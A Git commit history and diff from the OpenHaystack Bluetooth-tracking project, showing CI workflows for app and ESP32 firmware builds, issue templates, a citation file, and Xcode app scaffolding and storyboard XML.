121 Commits
v0.3.0 ... main

Author SHA1 Message Date
Sebastian
8d214aa5eb Use macOS 14 runner with Xcode 15.3 2024-07-09 09:19:10 +02:00
Sebastian
27d975b1f0 Add manual trigger for all workflows 2024-07-09 09:19:10 +02:00
Sebastian
173eb741fa Fix CI to use renamed GitHub Action 2024-07-09 09:19:10 +02:00
Sebastian
17410e2c00 Create a SetttingsView to manually enter Search Party Token, add error handling for expired token 2024-07-08 10:37:38 +02:00
Sebastian
3ef4280df1 Use AOSKit to generate anisette headers 2024-07-08 10:37:38 +02:00
Sebastian
1b66d15cad Fix report decryption for new report format 2024-07-08 10:37:38 +02:00
Alexander Heinrich
e8dcf61daa Adding CITATION.cff file 2024-06-11 12:38:44 +02:00
Shai Mishali
7d72fa1ac1 [fix] Derive symmetric key correctly 2023-10-16 17:19:56 +02:00
Alexander Heinrich
6eb2822632 Updating Mail Plugin to work with macOS 13.5 and 13.6 2023-10-09 13:08:46 +02:00
Alexander Heinrich
fe1e286182 Compatibility with macOS 13.3 2023-04-21 09:54:51 +02:00
Alexander Heinrich
4e0f37d129 Updating action to macOS 12 2022-06-01 09:37:19 +02:00
Alexander Heinrich
6b3196e798 Adding option to copy the private key from the repository 2022-06-01 09:33:41 +02:00
Noah
9829d6ceb4 OpenHaystackMail: add support for Mail.app version 16.0 (macOS 12.3)
Fixed #109.
2022-06-01 09:15:47 +02:00
Alexander Heinrich
6c4895d68f Proxy Server Info 2022-05-12 15:28:06 +02:00
Alexander Heinrich
33716d7f9d Update README.md
Cleaning up readme
2022-05-12 15:28:06 +02:00
Alexander Heinrich
e27051e71e Update README.md
Cleaning up Readme
2022-05-12 15:28:06 +02:00
MaxGranzow
ed2c80b8c7 Fixing readme image alignment 2022-05-12 15:28:06 +02:00
MaxGranzow
62bbee528e Adding OpenHaystack Mobile screenshots 2022-05-12 15:28:06 +02:00
MaxGranzow
00e3b5ad14 Update readme with OpenHaystack Mobile info 2022-05-12 15:28:06 +02:00
MaxGranzow
3d593a006c Adding OpenHaystack Mobile app
Co-Authored-By: Lukas Burg <lukas.burg@hemalu.de>
2022-05-12 15:28:06 +02:00
Alexander Heinrich
b65a6e6be0 Changing time-out for nearby devices 2022-01-04 15:25:11 +01:00
Alexander Heinrich
190d9f35dd Importing and exporting in JSON possible 2022-01-04 14:51:18 +01:00
Alexander Heinrich
ebfe7922ec Updating build workflow for Xcode 13 2022-01-04 12:59:34 +01:00
Alexander Heinrich
005d642dd8 Adding new NRF firmware which supports rotating keys 2022-01-04 12:44:45 +01:00
Alexander Heinrich
c349ffde7f Updating mail plug-in for macOS 12.1 2022-01-04 12:44:45 +01:00
Alexander Heinrich
f582d86455 Updating mail plug-in for macOS 12.1 2022-01-04 12:44:45 +01:00
Alexander Heinrich
e55a0959af Adding a class that automatically checks for updates of the app 2022-01-04 12:44:45 +01:00
Morten Harter
278fe4e30d Added support for key derivation
Added deployment for nRF52 Devices
2022-01-04 12:44:45 +01:00
Alexander Heinrich
d9a1a33b1e Updating project to be M1 (ARM) compatible 2021-11-25 11:24:14 +01:00
Alexander Heinrich
3a8e543491 Using the ESP32 v4.3 branch and not the release since the release is still failing to build 2021-11-04 12:50:10 +01:00
Alexander Heinrich
c6600b0555 Updating esp-idf version 2021-11-04 11:16:41 +01:00
Howard
9363dc0534 Clarify the nature of the key parameter used by flash_esp32.sh
The OpenHaystack UI does not expose the concept of "public key". The script `flash_esp.32` is in fact expecting the base-64 encoded advertisement key.
2021-11-04 09:40:54 +01:00
yoution
e95fe0cc32 Update README.md
fix: fix board type
2021-11-04 09:40:29 +01:00
Alexander Heinrich
599c24042d Fixing an issue with swift-format. It has changed the command line arguments and was throwing an error otherwise 2021-11-04 09:20:54 +01:00
Alexander Heinrich
204473c1cf Fixing issues with the Mail plug-in update processs 2021-11-03 18:10:34 +01:00
Sascha Mowtschan
e55aa25d9c Fixes #85
Add PluginCompatibilityUUID for MacOS 12.0.1, Mail.app 15.0
2021-11-03 18:10:34 +01:00
Alexander Heinrich
e39e328a89 Updating UUIDs for macOS 11.6 2021-09-21 17:27:34 +02:00
Alexander Heinrich
f9149cdc74 nrf52832 pin layout 2021-08-25 15:53:03 +02:00
Alexander Heinrich
206a2e7004 Copying public to clipboard as Byte array or escaped string 2021-08-25 14:39:58 +02:00
Alexander Heinrich
78fba7391c Checking if the Mail plug-in is installed in the correct version. Otherwise the new mail plug-in will be installed 2021-08-06 11:46:56 +02:00
Alexander Heinrich
aa7c0a50af Updating workflows to macOS 11 2021-08-06 11:23:47 +02:00
Alexander Heinrich
48ceb9550c Small icon changes 2021-08-06 11:19:19 +02:00
Alexander Heinrich
6105a9454a Updating preview for better control of Screenshots 2021-08-06 11:19:19 +02:00
VladutLP
71fb26da56 Added a bunch of ID's into the plist for Mail app version 14 2021-08-06 11:16:10 +02:00
Milan Stute
c7a15fe0e4 Add WiSec demo 2021-06-02 14:09:57 +02:00
Alexander Heinrich
ffc5170ea4 Added a fix for the cropped rows on macOS 11.3
This is clearly a SwiftUI bug and it has been reported with FB9092071
2021-04-29 11:16:01 +02:00
Alexander Heinrich
f73c1ac636 Fixing memory leaks in ReportsFetcher 2021-04-29 11:08:41 +02:00
Alexander Heinrich
5dc6158da7 Fixing leaks in boring ssl usage 2021-04-29 11:08:41 +02:00
Alexander Heinrich
ba174196c0 Calling the completion handler in the case of a nil self 2021-04-29 11:08:41 +02:00
Tomas Harkema
c618aab843 make it a todo 2021-04-29 11:08:41 +02:00
Tomas Harkema
f8fb99cc41 burn some leaks 2021-04-29 11:08:41 +02:00
Frank Hessel
9f41994380 ESP32 Firmware: Consider Port and De-Duplicate Flashing Script 2021-04-29 09:05:31 +02:00
Sascha Mowtschan
b5a577ec4e Add "cleanup" to the deployment script #44 (enhancement) 2021-04-19 09:31:37 +02:00
Alexander Heinrich
b513d47ddc Updated Readme with info for missing Manage Plug-Ins button 2021-04-15 09:15:33 +02:00
Alexander Heinrich
acdae59b39 Updating ESP32 firmware to sending rate of 1-2s
This is done to save energy
2021-04-13 09:44:17 +02:00
Alexander Heinrich
880f1356de Reducing sending frequency of micro:bit firmware to 2s to reduce power consumption 2021-04-13 09:44:17 +02:00
Alexander Heinrich
edf2b59754 Export the created firmware file (instead of flashing directly)
Running swift-format
2021-04-13 09:44:17 +02:00
Alexander Heinrich
cf5103f62f Updating the mail state indicator when closing the mail app and reloading
Updating the mail state pop-up to make sure all text is shown and not clipped
2021-03-23 10:40:52 +01:00
Milan Stute
21eacc6c5c "tag" -> "accessory" (consistent with app UI) 2021-03-16 13:38:45 +01:00
Milan Stute
bdb8e8047b Consolidate infos about supported devices in README 2021-03-16 13:32:50 +01:00
Milan Stute
d1731c608a Fix swift-format complaints 2021-03-16 12:47:06 +01:00
Milan Stute
9f8352b022 Add logarithmic slider 2021-03-16 12:47:06 +01:00
Milan Stute
0e126e7882 Make update delay reusable and include call to zoomInOnAll 2021-03-16 12:20:56 +01:00
Alexander Heinrich
c7696b6687 Resolving the UI glitch when moving the slider quickly by delaying the map updates for a split second 2021-03-16 12:20:56 +01:00
Milan Stute
1883d47ac9 Add time slider 2021-03-16 12:20:56 +01:00
Milan Stute
76a01c187b Add history view (shows all location reports for a single accessory) 2021-03-16 12:20:56 +01:00
Milan Stute
2db31902d4 Update issue templates 2021-03-16 11:58:05 +01:00
Milan Stute
a88f5abeb4 Move nearby marker to the right 2021-03-15 17:16:01 +01:00
Milan Stute
cf0416e174 Unmark devices as nearby when they stop sending advertisements 2021-03-15 17:16:01 +01:00
Milan Stute
eb07546640 Update preview mode 2021-03-15 17:16:01 +01:00
Milan Stute
37de037986 Mark devices as active (orange) if they have been active in the past 2021-03-15 17:16:01 +01:00
Milan Stute
5117674ac9 Mark accessories as online when receiving Bluetooth advertisements 2021-03-15 17:16:01 +01:00
Milan Stute
d5546e1fa8 Disable deploy tests (will hang if no accessory is connected) 2021-03-15 12:56:26 +01:00
Milan Stute
1b6eadb301 Run autoformat 2021-03-15 12:56:08 +01:00
Milan Stute
2f32efef24 Mark accessory as deployed when deploy was successful 2021-03-15 12:51:07 +01:00
Alexander Heinrich
e7a6135d95 Showing error messages when the import fails 2021-03-15 10:36:28 +01:00
Alexander Heinrich
9406f817f3 Instead of showing a mail button a small circle is shown next to the reload button.
The circle is orange if the mail plug-in is disabled
2021-03-15 10:36:28 +01:00
Alexander Heinrich
ab1c3eb83a Adding a button that shows if the mail plug-in is active. The button turns red if the plug-in is not active.
Architectural changes discussed with @schmittner: Moving the FindMyController out of the environment and using the AccessoryController as the main entry point, also for downloading reports
The AccessoryController is now passed as an Environment Object again
2021-03-15 10:36:28 +01:00
Alexander Heinrich
b56aa1faa7 Added import and export options
Added the AccessoryController and the FindMyController to the SwiftUI Environment
2021-03-15 10:36:28 +01:00
Milan Stute
dda406b3d7 Use simpler and correct fix for light mode
Original fix introduced in c3a4610b87
2021-03-11 16:47:46 +01:00
Milan Stute
1c6ef9f0e1 Fix rendering image in README 2021-03-11 11:13:41 +01:00
Milan Stute
470dd1192d Update license headers and add template 2021-03-11 11:02:24 +01:00
Milan Stute
3ede0e1981 Update screenshot 2021-03-11 10:50:38 +01:00
Milan Stute
5d5ea30b52 Update preview data 2021-03-11 10:25:20 +01:00
Milan Stute
3c84aae67d Changes to linter and autoformat workflow for development
- drop SwiftLint in favor of swift-format
- disable autoformatting in build phase (otherwise we loose history)
- add Git pre-commit hook to autoformat before committing
2021-03-11 10:23:48 +01:00
Milan Stute
0c9997993d Map fits all accessories by default 2021-03-11 08:57:44 +01:00
Alexander Heinrich
c3a4610b87 Optimizing for light mode. Selected accessory icons are tinted in the accent color 2021-03-11 08:57:44 +01:00
Milan Stute
25dd8ac2d3 Better way to select icon color and more icons to choose from 2021-03-11 08:57:44 +01:00
Milan Stute
f3daa51fd1 Set minimum size for main view 2021-03-11 08:57:44 +01:00
Milan Stute
fc09091510 Reduce circle size 2021-03-11 08:57:44 +01:00
Milan Stute
e8c319c0c7 Show accessory title in navigation 2021-03-11 08:57:44 +01:00
Milan Stute
087f780410 Optionally flag accessories as deployed 2021-03-11 08:57:44 +01:00
Milan Stute
a68448a25c Show map controls in toolbar 2021-03-11 08:57:44 +01:00
Milan Stute
599b604fa9 New icons come with random appearance 2021-03-11 08:57:44 +01:00
Milan Stute
c57b4c9545 Don't save preview data to keychain + get rid of shared controller instances 2021-03-11 08:57:44 +01:00
Milan Stute
fab6cf8b55 Save changes to accessories immediately 2021-03-11 08:57:44 +01:00
Milan Stute
df917a7e64 Allow changing color 2021-03-11 08:57:44 +01:00
Milan Stute
f7d9a17587 Complete rebase 2021-03-11 08:57:44 +01:00
Milan Stute
cbb85d97d0 Use more SwiftUI elements and clean up interface 2021-03-11 08:57:44 +01:00
Milan Stute
d3b72de00c AccessoryListView follows style of Find My app 2021-03-11 08:57:44 +01:00
Milan Stute
6116000977 AppKit -> SwiftUI App 2021-03-11 08:57:44 +01:00
Milan Stute
48897cd890 Use NavigationView 2021-03-11 08:57:44 +01:00
Alexander Heinrich
da302c7b0c Updating readme for ESP32 2021-03-10 12:24:58 +01:00
Alexander Heinrich
898563ca0b Supporting ESP32 as tags for OpenHaystack (#19)
* Moving microbit firmware to a subfolder in /Firmware to prepare integration of ESP32

* Add firmware for ESP32 and update workflows

* Integrated ESP32 firmware from @fhessel to OpenHaystack App

Co-authored-by: Frank Hessel <fhessel@seemoo.tu-darmstadt.de>
2021-03-09 23:57:28 +01:00
Knut Hühne
f88663f5e7 Fix tiny spelling mistake 2021-03-08 22:35:20 +01:00
Milan Stute
6665309150 Cleanup pipeline 2021-03-08 22:34:45 +01:00
Milan Stute
b6d7e61099 Add format to workflow pipeline 2021-03-08 22:34:45 +01:00
Milan Stute
8b94a2aecf Add clang-format as an Xcode build phase 2021-03-08 22:34:45 +01:00
Milan Stute
8127628ea5 Add swift-format as an Xcode build phase 2021-03-08 22:34:45 +01:00
Milan Stute
036b99c2bd Add press coverage to README 2021-03-08 09:31:29 +01:00
Milan Stute
a4ca840f12 Add generic HCI script (fixes #3) 2021-03-04 21:38:40 +01:00
Milan Stute
bebfc6571e Clean up after move of OFFetchReports 2021-03-04 12:31:48 +01:00
Milan Stute
c52689d915 Fix README 2021-03-04 12:11:33 +01:00
Milan Stute
da9f25217a Fix build pipeline 2021-03-04 12:10:14 +01:00
Alexander Heinrich
dd793bb014 Merge pull request #1 from Sn0wfreezeDev/main
Moving OFFetchReports to the OFReadKeys project
2021-03-04 11:38:24 +01:00
Alexander Heinrich
cb645a1a38 Moving OFFetchReports to the OFReadKeys repository 2021-03-04 11:34:01 +01:00
Alexander Heinrich
bc79494d7c Fixes issues with OFFetchReports
- Codesigning  was referring to an old name
- Private keys where not imported properly
2021-03-04 09:47:15 +01:00
Milan Stute
966ca39cb5 Fix broken import 2021-03-04 08:30:39 +01:00
Milan Stute
a7affbc939 Add instructions for PoPETs Artifact Evaluation 2021-03-04 08:17:33 +01:00
Milan Stute
083882a591 Add CVE-2020-9986 2021-03-04 08:17:33 +01:00
Milan Stute
50f63c8830 Add Preprint 2021-03-04 08:17:33 +01:00
341 changed files with 46089 additions and 1842 deletions

33
.github/ISSUE_TEMPLATE/bug_report.md vendored Normal file
View File

@@ -0,0 +1,33 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**OpenHaystack version:**
[e.g. 0.3.4] (copy from _OpenHaystack → About OpenHaystack_)
**macOS version:**
[e.g. 11.3]
**Additional context**
Add any other context about the problem here.

View File

@@ -0,0 +1,20 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: enhancement
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.

View File

@@ -0,0 +1,10 @@
---
name: General question
about: Ask a question
title: ''
labels: question
assignees: ''
---

View File

@@ -0,0 +1,38 @@
name: 'Build Firmware with ESP-IDF'
description: 'Builds a firmware for the ESP32 using the ESP-IDF'
inputs:
src-dir:
description: 'Source directory for the ESP-IDF project'
required: true
out-dir:
description: 'Directory to which bin files will be written'
required: true
app-name:
description: 'Name of the IDF application/main binary'
required: true
runs:
using: "composite"
steps:
- name: Prepare ESP-IDF
shell: bash
run: |
sudo apt update
sudo apt install git wget flex bison gperf python3 python3-pip python3-setuptools cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0
mkdir -p /opt/esp
cd /opt/esp
git clone --recursive --depth 1 --branch release/v4.3 https://github.com/espressif/esp-idf.git
cd /opt/esp/esp-idf
./install.sh
- name: Build firmware
shell: bash
run: |
source /opt/esp/esp-idf/export.sh
cd ${{ inputs.src-dir }}
idf.py build
- name: Bundle output files
shell: bash
run: |
mkdir -p "${{ inputs.out-dir }}/bootloader" "${{ inputs.out-dir }}/partition_table"
cp "${{ inputs.src-dir }}/build/bootloader/bootloader.bin" "${{ inputs.out-dir }}/bootloader/bootloader.bin"
cp "${{ inputs.src-dir }}/build/partition_table/partition-table.bin" "${{ inputs.out-dir }}/partition_table/partition-table.bin"
cp "${{ inputs.src-dir }}/build/${{ inputs.app-name }}.bin" "${{ inputs.out-dir }}/${{ inputs.app-name }}.bin"

View File

@@ -3,33 +3,52 @@ name: "Build application"
on:
push:
branches: [ main ]
paths:
- OpenHaystack/**
pull_request:
branches: [ main ]
paths:
- OpenHaystack/**
workflow_dispatch:
env:
APP: OpenHaystack
defaults:
run:
working-directory: OpenHaystack
jobs:
lint-swiftlint:
runs-on: macos-latest
format-swift:
runs-on: macos-14
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Run SwiftLint"
run: swiftlint --reporter github-actions-logging
- name: "Install swift-format"
run: brew install swift-format
- name: "Run swift-format"
run: swift-format lint --recursive .
format-objc:
runs-on: macos-14
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Install clang-format"
run: brew install clang-format
- name: "Run clang-format"
run: clang-format -n **/*.{h,m}
build-app:
runs-on: macos-latest
needs: lint-swiftlint
env:
APP: OpenHaystack
PROJECT_DIR: OpenHaystack
defaults:
run:
working-directory: ${{ env.PROJECT_DIR }}
runs-on: macos-14
needs:
- format-swift
- format-objc
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: devbotsxyz/xcode-select@v1
- name: "Select Xcode 15.3"
uses: keehun/xcode-select@v1
with:
version: "12"
version: "15.3"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive

View File

@@ -0,0 +1,54 @@
name: "Build CVE-2020-9986"
on:
push:
branches: [ main ]
paths:
- CVE-2020-9986/**
pull_request:
branches: [ main ]
paths:
- CVE-2020-9986/**
defaults:
run:
working-directory: CVE-2020-9986/OFReadKeys
jobs:
lint-swiftlint:
runs-on: macos-11
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Run SwiftLint"
run: swiftlint --reporter github-actions-logging
build-ofreadkeys:
runs-on: macos-latest
needs: lint-swiftlint
env:
APP: OFReadKeys
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: keehun/xcode-select@v1
with:
version: "12"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
build-offetchreports:
runs-on: macos-latest
needs: lint-swiftlint
env:
APP: OFFetchReports
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: keehun/xcode-select@v1
with:
version: "12"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive

View File

@@ -0,0 +1,29 @@
name: "Build firmware (ESP32)"
on:
push:
branches: [ main ]
paths:
- Firmware/ESP32/**
pull_request:
branches: [ main ]
paths:
- Firmware/ESP32/**
workflow_dispatch:
jobs:
build-firmware-esp32:
runs-on: ubuntu-latest
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Copy static files"
run: |
mkdir -p archive/build
cp Firmware/ESP32/flash_esp32.sh archive/
- name: "Build ESP32 firmware"
uses: ./.github/actions/build-esp-idf
with:
src-dir: Firmware/ESP32
out-dir: archive/build
app-name: openhaystack

View File

@@ -4,19 +4,20 @@ on:
push:
branches: [ main ]
paths:
- Firmware/**
- Firmware/Microbit_v1/**
pull_request:
branches: [ main ]
paths:
- Firmware/**
- Firmware/Microbit_v1/**
workflow_dispatch:
defaults:
run:
working-directory: Firmware
working-directory: Firmware/Microbit_v1
jobs:
build-firmware:
runs-on: macos-latest
runs-on: macos-14
steps:
- uses: actions/checkout@v2

View File

@@ -4,24 +4,54 @@ on:
push:
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
workflow_dispatch:
jobs:
build-firmware-esp32:
runs-on: ubuntu-latest
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Copy static files"
run: |
mkdir -p archive/build
cp Firmware/ESP32/flash_esp32.sh archive/
- name: "Build ESP32 firmware"
uses: ./.github/actions/build-esp-idf
with:
src-dir: Firmware/ESP32
out-dir: archive/build
app-name: openhaystack
- name: "Create archive"
uses: actions/upload-artifact@v2
with:
name: firmware-esp32
path: archive/*
retention-days: 1
build-and-release:
name: "Create release on GitHub"
runs-on: macos-latest
runs-on: macos-14
env:
APP: OpenHaystack
PROJECT_DIR: OpenHaystack
defaults:
run:
working-directory: ${{ env.PROJECT_DIR }}
needs:
- build-firmware-esp32
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: devbotsxyz/xcode-select@v1
- name: "Select Xcode 15.3"
uses: keehun/xcode-select@v1
with:
version: "12"
version: "15.3"
- name: "Add ESP32 firmware"
uses: actions/download-artifact@v2
with:
name: firmware-esp32
path: "${{ env.PROJECT_DIR }}/OpenHaystack/HaystackApp/Firmwares/ESP32"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
- name: "Create ZIP"

6
.gitignore vendored
View File

@@ -2,6 +2,10 @@
# Created by https://www.toptal.com/developers/gitignore/api/xcode,swift
# Edit at https://www.toptal.com/developers/gitignore?templates=xcode,swift
## macOS ##
.DS_Store
### Swift ###
# Xcode
#
@@ -106,4 +110,4 @@ iOSInjectionProject/
# End of https://www.toptal.com/developers/gitignore/api/xcode,swift
# Exports folder
Exports/
Exports/

4
.gitmodules vendored
View File

@@ -1,3 +1,3 @@
[submodule "Firmware/blessed"]
path = Firmware/blessed
[submodule "Firmware/Microbit_v1/blessed"]
path = Firmware/Microbit_v1/blessed
url = https://github.com/pauloborges/blessed.git

1
.pre-commit Executable file
View File

@@ -0,0 +1 @@
make app-autoformat

31
CITATION.cff Normal file
View File

@@ -0,0 +1,31 @@
# This CITATION.cff file was generated with cffinit.
# Visit https://bit.ly/cffinit to generate yours today!
cff-version: 1.2.0
title: OpenHaystack
message: 'If you use this software, please cite it as below.'
type: software
authors:
- given-names: Alexander
family-names: Heinrich
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-1150-1922'
- given-names: Milan
family-names: Stute
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0003-4921-8476'
- given-names: Matthias
family-names: Hollick
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-9163-5989'
repository-code: 'https://github.com/seemoo-lab/openhaystack'
abstract: >-
OpenHaystack is a framework for tracking personal
Bluetooth devices via Apple's massive Find My network. Use
it to create your own tracking tags that you can append to
physical objects (keyrings, backpacks, ...) or integrate
it into other Bluetooth-capable devices such as notebooks.
license: AGPL-3.0
commit: 7d72fa1ac19d2a9f6dec43011be07df8976a8b02
version: 0.5.3
date-released: '2023-10-09'

View File

@@ -20,8 +20,6 @@ analyzer_rules: # Rules run by `swiftlint analyze` (experimental)
# configurable rules can be customized from this configuration file
# binary rules can set their severity level
force_cast: warning # implicitly
force_try:
severity: warning # explicitly
# rules that have both warning and error levels, can set just the warning level
# implicitly
line_length: 180

View File

@@ -0,0 +1,42 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import SwiftUI
@main
class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = OFFetchReportsMainView()
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.isReleasedWhenClosed = false
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
}

View File

@@ -0,0 +1,11 @@
{
"colors" : [
{
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,58 @@
{
"images" : [
{
"idiom" : "mac",
"scale" : "1x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "512x512"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "512x512"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,683 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="14814" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="14814"/>
</dependencies>
<scenes>
<!--Application-->
<scene sceneID="JPo-4y-FX3">
<objects>
<application id="hnw-xV-0zn" sceneMemberID="viewController">
<menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
<items>
<menuItem title="OFFetchReports" id="1Xt-HY-uBw">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="OFFetchReports" systemMenu="apple" id="uQy-DD-JDr">
<items>
<menuItem title="About OFFetchReports" id="5kV-Vb-QxS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="VOq-y0-SEH"/>
<menuItem title="Preferences…" keyEquivalent="," id="BOF-NM-1cW"/>
<menuItem isSeparatorItem="YES" id="wFC-TO-SCJ"/>
<menuItem title="Services" id="NMo-om-nkz">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Services" systemMenu="services" id="hz9-B4-Xy5"/>
</menuItem>
<menuItem isSeparatorItem="YES" id="4je-JR-u6R"/>
<menuItem title="Hide OFFetchReports" keyEquivalent="h" id="Olw-nP-bQN">
<connections>
<action selector="hide:" target="Ady-hI-5gd" id="PnN-Uc-m68"/>
</connections>
</menuItem>
<menuItem title="Hide Others" keyEquivalent="h" id="Vdr-fp-XzO">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="hideOtherApplications:" target="Ady-hI-5gd" id="VT4-aY-XCT"/>
</connections>
</menuItem>
<menuItem title="Show All" id="Kd2-mp-pUS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="unhideAllApplications:" target="Ady-hI-5gd" id="Dhg-Le-xox"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="kCx-OE-vgT"/>
<menuItem title="Quit OFFetchReports" keyEquivalent="q" id="4sb-4s-VLi">
<connections>
<action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="File" id="dMs-cI-mzQ">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="File" id="bib-Uj-vzu">
<items>
<menuItem title="New" keyEquivalent="n" id="Was-JA-tGl">
<connections>
<action selector="newDocument:" target="Ady-hI-5gd" id="4Si-XN-c54"/>
</connections>
</menuItem>
<menuItem title="Open…" keyEquivalent="o" id="IAo-SY-fd9">
<connections>
<action selector="openDocument:" target="Ady-hI-5gd" id="bVn-NM-KNZ"/>
</connections>
</menuItem>
<menuItem title="Open Recent" id="tXI-mr-wws">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Open Recent" systemMenu="recentDocuments" id="oas-Oc-fiZ">
<items>
<menuItem title="Clear Menu" id="vNY-rz-j42">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="clearRecentDocuments:" target="Ady-hI-5gd" id="Daa-9d-B3U"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem isSeparatorItem="YES" id="m54-Is-iLE"/>
<menuItem title="Close" keyEquivalent="w" id="DVo-aG-piG">
<connections>
<action selector="performClose:" target="Ady-hI-5gd" id="HmO-Ls-i7Q"/>
</connections>
</menuItem>
<menuItem title="Save…" keyEquivalent="s" id="pxx-59-PXV">
<connections>
<action selector="saveDocument:" target="Ady-hI-5gd" id="teZ-XB-qJY"/>
</connections>
</menuItem>
<menuItem title="Save As…" keyEquivalent="S" id="Bw7-FT-i3A">
<connections>
<action selector="saveDocumentAs:" target="Ady-hI-5gd" id="mDf-zr-I0C"/>
</connections>
</menuItem>
<menuItem title="Revert to Saved" keyEquivalent="r" id="KaW-ft-85H">
<connections>
<action selector="revertDocumentToSaved:" target="Ady-hI-5gd" id="iJ3-Pv-kwq"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="aJh-i4-bef"/>
<menuItem title="Page Setup…" keyEquivalent="P" id="qIS-W8-SiK">
<modifierMask key="keyEquivalentModifierMask" shift="YES" command="YES"/>
<connections>
<action selector="runPageLayout:" target="Ady-hI-5gd" id="Din-rz-gC5"/>
</connections>
</menuItem>
<menuItem title="Print…" keyEquivalent="p" id="aTl-1u-JFS">
<connections>
<action selector="print:" target="Ady-hI-5gd" id="qaZ-4w-aoO"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Edit" id="5QF-Oa-p0T">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Edit" id="W48-6f-4Dl">
<items>
<menuItem title="Undo" keyEquivalent="z" id="dRJ-4n-Yzg">
<connections>
<action selector="undo:" target="Ady-hI-5gd" id="M6e-cu-g7V"/>
</connections>
</menuItem>
<menuItem title="Redo" keyEquivalent="Z" id="6dh-zS-Vam">
<connections>
